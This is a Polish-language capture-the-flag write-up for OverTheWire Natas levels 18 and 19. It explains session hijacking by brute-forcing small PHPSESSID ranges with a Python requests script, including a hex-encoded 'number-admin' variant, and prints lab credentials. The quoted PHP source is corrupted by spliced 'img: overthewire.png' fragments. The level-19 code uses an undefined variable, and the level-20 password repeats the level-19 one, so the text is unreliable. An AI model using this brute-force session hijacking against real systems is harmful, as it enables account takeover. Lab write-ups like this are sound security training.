Wpis jest kontynuacją rozwiązań hackme Natas na OverTheWire. Rozwiązania etapu 17 można znaleźć tutaj. Etapy 18 i 19 związane będzą z pojęciem sesji, a zatem również ciasteczek. Przed przystąpieniem do rozwiązania upewnij się, że posiadasz rozszerzenie pozwalające na modyfikacje ciastek w swojej przeglądarce.

Poziom 18

Analiza

Po zalogowaniu na poziom 18 spoglądamy na kod źródłowy. Poniżej został on pozbawiony mylących komentarzy.

<?

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin()
{
    if ($_REQUEST["username"] == "admin") {
        /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }
    return 0;
}

function isValidID($id)
{
    return is_numeric($id);
}

function createID($user)
{
    global $maxid;
    return rand(1, $maxid);
}

function debug($msg)
{
    if (array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}

function my_session_start()
{
    if (array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
        if (!session_start()) {
            debug("Session start failed");
            return false

img: overthewire.png; } else { debug(“Session start ok”); if (!array_key_exists(“admin”, $_SESSION)) { debug(“Session was old: admin flag set”); $_SESSION[“admin”] = 0; // backwards compatible, secure } return true; } } return false img: overthewire.png; }

function print_credentials()
{
    if ($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
        print "You are an admin. The credentials for the next level are:<br>";
        print "<pre>Username: natas19\n";
        print "Password: <censored></pre>";
    } else {
        print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}

$showform = true;
if (my_session_start()) {
    print_credentials();
    $showform = false

img: overthewire.png; } else { if (array_key_exists(“username”, $_REQUEST) && array_key_exists(“password”, $_REQUEST)) { session_id(createID($_REQUEST[“username”])); session_start(); $_SESSION[“admin”] = isValidAdminLogin(); debug(“New session started”); $showform = false img: overthewire.png; print_credentials(); } }

if ($showform) {
?>
// Formularz
<?
}
?>

Przeanalizujmy kod w kolejności wykonywania, zatem od lini $showform = true;. Zmienna ta odpowiada oczywiście za wyświetlenie formularza i może zostać zmieniona w dwóch przypadkach.

  • Pierwszy przypadek, to sytuacja, w której odwiedzający posiada aktywną sesję. Powoduje to wywołanie funkcji print_credentials(). Dla odpowiednich danych sesji wyświetla ona login i hasło do następnego poziomu.

  • Drugi przypadek ma miejsce kiedy odwiedzający podejmuje próbę logowania. Jeśli podano zarówno login jak i hasło tworzona jest sesja i wylosowanym identyfikatorze. Identyfikator jest liczbą z przedziału [1, 640].

Znając zasadę działania skryptu należy przemyśleć wektor ataku. Wiemy, że każda nowa sesja tworzona za pomocą skryptu ma pole admin ustawione na false img: overthewire.png ze względu na linię $_SESSION["admin"] = isValidAdminLogin();. Wnioskujemy zatem, że nie ma możliwości zmanipulować danych logowania tak, aby ustawić pole.

Tym razem zastosujemy inną metodę ataku zwaną przechwytywaniem sesji. Zrobimy to w założeniu, że któraś z sesji w systemie jest sesją administratora.

Rozwiązanie

Wiedząc, że pula identyfikatorów jest bardzo mała, a identyfikator sesji jest przechowywany w ciastku możemy przygotować skrypt, który zautomatyzuje atak. Proponuję następujący kod:

#!/usr/bin/python
import requests
import sys

url = 'http://natas18.natas.labs.overthewire.org/index.php?debug'
passwd = ""
auth = ("natas18", "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP")

if requests.get(url, auth=auth).status_code != 200:
	print "Server unreachable, exiting"
	sys.exit()
else:
	print "Server reached, starting brute force session hijacking"

for i in range(641):
	cookie = {"PHPSESSID" : str(i)}
	r = requests.get(url, cookies=cookie, auth=auth)
	if i%10 == 0:
		print "Testing: "+str(i)
	if r.content.find("You are logged in as a regular user") == -1:
		print "Found, ID: "+str(i)
		break

Struktura skryptu jest nam znana z poprzednich rozwiązań. Pętlę stanowiącą najważniejszy element ataku wykonujemy zgodnie z ilością możliwych identyfikatorów sesji. Każde wykonanie pętli to zapytanie do serwera z innym ciastkiem PHPSESSID. Jeśli w odpowiedzi nie znajdziemy tekstu "You are logged in as a regular user" skrypt zakończy działanie zwracając identyfikator sesji administratora.

Wynik działania skryptu:

Server reached, starting brute force session hijacking
Testing: 0
Testing: 10
Testing: 20
Testing: 30
Testing: 40
Found, ID: 46

Znając identyfikator wystarczy podmienić ciastko PHPSESSID na odnalezioną wartość. Po odświeżeniu strony uzyskujemy hasło do kolejnego etapu: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs.

Poziom 19

Analiza

Tym razem nie dostajemy kodu źródłowego. Posiadamy jedynie informację, że kod niewiele różni się od tego z poziomu 18. Różnica tkwi w sposobie generowania identyfikatora, który tym razem ma być tworzony niesekwencyjnie. Naszym zadaniem jest dokonanie analizy identyfikatora sesji, rozwiązanie zadania będzie bardzo analogiczne do tego w zadaniu 18.

Zalogujmy się używając loginu oraz hasła admin. Login admin jest dobrym pomysłem ponieważ taki sam login zada użytkownik, którego sesję chcemy przejąć. Spójrzmy na przydzielone nam PHPSESID:

3234322d61646d696e

Jedyne wnioski, a w zasadzie podejrzenia jakie możemy wysnuć to takie, że dane stanowią ciąg liczb zapisanych w systemie szesnastkowym. Zweryfikujemy to poprzez usunięcie ciastka i kilkukrotne powtórzenie logowania z takimi samymi danymi logowania. Powstała tak lista identyfikatorów będzie wyglądała podobnie do poniższej:

3234322d61646d696e
3134322d61646d696e
3338342d61646d696e
3630382d61646d696e

Badanie pozwala wywnioskować, że nasz identyfikator zbudowany jest z dwóch elementów. Zacznijmy analizę od tego, który się nie zmienia: 2d61646d696e. Zauważamy, że ciąg zawsze ma parzystą długość i można go odczytać jako liczby zapisane szesnastkowo. Proponuję zatem podejrzeć jego znaczenie w kodowaniu ASCII. W tym celu wykorzystamy powłokę linuxa:

$ echo -e '\x2d\x61\x64\x6d\x69\x6e'
-admin

Usunięcie sesji i zalogowanie z loginem admin a hasłem dowolnie innym daje nam wniosek dotyczący budowy identyfikatora. Składa się on ze zmiennego członu a następnie myślnika oraz loginu.

Rozpatrzmy zatem zmienną część identyfikatora. Przekodujmy części początkowe wszystkich czterech próbek:

$ echo -e '\x32\x34\x32\n\x31\x34\x32\n\x33\x38\x34\n\x36\x30\x38'
242
142
384
608

Możemy podejrzewać, że schemat jest następujący:

liczba_losowa-login

W poprzednim zadaniu pula liczb losowych stanowiła zbiór [1-641] zatem i tym razem podejrzewamy podobny zbiór.

Rozwiązanie

Wystarczy jedynie lekko zmodyfikować powyższy skrypt tak, aby tworzył identyfikatory zgodnie z powyższym schematem. Kod z zadania 18 należy zmodyfikować następująco:

...
for i in range(641):
	cookie = {"PHPSESSID" : (str(sessid)+'-admin').encode('hex')}
	r = requests.get(url, cookies=cookie, auth=auth)
...

W wyniku działania tego skryptu otrzymamy hasło do poziomu 20:

4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs